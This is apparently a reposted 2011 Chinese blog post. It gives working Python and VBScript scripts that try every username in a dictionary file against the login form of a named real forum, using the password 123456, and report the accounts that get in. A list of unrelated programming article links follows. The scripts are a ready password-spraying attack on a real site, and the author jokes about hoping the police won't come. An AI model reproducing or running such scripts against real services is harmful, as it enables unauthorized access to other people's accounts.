Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
详解Python中 __get__和__getattr__和__getattribute__的区别
Jun 16 Python
详解Python进程间通信之命名管道
Aug 28 Python
python虚拟环境virtualenv的使用教程
Oct 20 Python
解决python使用open打开文件中文乱码的问题
Dec 29 Python
python pandas中对Series数据进行轴向连接的实例
Jun 08 Python
Django 中使用流响应处理视频的方法
Jul 20 Python
python用pandas数据加载、存储与文件格式的实例
Dec 07 Python
Python3.5基础之NumPy模块的使用图文与实例详解
Apr 24 Python
Python 中pandas索引切片读取数据缺失数据处理问题
Oct 09 Python
python3爬虫中异步协程的用法
Jul 10 Python
python实现视频压缩功能
Dec 18 Python
python实现简单的井字棋游戏(gui界面)
Jan 22 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
8个出色的WordPress SEO插件收集
2011/02/26 PHP
php数组函数序列 之shuffle()和array_rand() 随机函数使用介绍
2011/10/29 PHP
php解压文件代码实现php在线解压
2014/02/13 PHP
PHP遍历文件夹与文件类及处理类用法实例
2014/09/23 PHP
php生成验证码函数
2015/10/20 PHP
php单例模式的简单实现方法
2016/06/10 PHP
php封装的图片(缩略图)处理类完整实例
2016/10/19 PHP
PHP命令空间namespace及use的用法小结
2017/11/27 PHP
Jquery 绑定时间实现代码
2011/05/03 Javascript
《JavaScript高级程序设计》阅读笔记(一) ECMAScript基础
2012/02/27 Javascript
js实现网页多级级联菜单代码
2015/08/20 Javascript
JS代码随机生成姓名、手机号、身份证号、银行卡号
2016/04/27 Javascript
jquery实现全选功能效果的实现代码
2016/05/05 Javascript
值得分享的bootstrap table实例
2016/09/22 Javascript
利用angularjs1.4制作的简易滑动门效果
2017/02/28 Javascript
vue中v-cloak解决刷新或者加载出现闪烁问题(显示变量)
2018/04/20 Javascript
浅析js中mvvm模式实现的原理
2018/10/06 Javascript
JavaScript实现的鼠标跟随特效示例【2则实例】
2018/12/22 Javascript
vue 页面回退mounted函数不执行的解决方案
2020/07/26 Javascript
[51:14]LGD vs VP 2018国际邀请赛淘汰赛BO3 第一场 8.21
2018/08/22 DOTA
Python中的一些陷阱与技巧小结
2015/07/10 Python
Python 爬虫的工具列表大全
2016/01/31 Python
R语言 vs Python对比:数据分析哪家强?
2017/11/17 Python
树莓派用python中的OpenCV输出USB摄像头画面
2019/06/22 Python
django框架模型层功能、组成与用法分析
2019/07/30 Python
Python模块future用法原理详解
2020/01/20 Python
django 文件上传功能的相关实例代码(简单易懂)
2020/01/22 Python
详解HTML5 canvas绘图基本使用方法
2018/01/29 HTML / CSS
《画家乡》教学反思
2014/04/22 职场文书
个人简历自荐信
2014/06/26 职场文书
先进个人材料怎么写
2014/12/30 职场文书
贷款承诺书
2015/01/20 职场文书
正规借条模板
2015/05/26 职场文书
2015年支教教师工作总结
2015/07/22 职场文书
2016年十一促销广告语
2016/01/28 职场文书
关于python3 opencv 图像二值化的问题(cv2.adaptiveThreshold函数)
2022/04/04 Python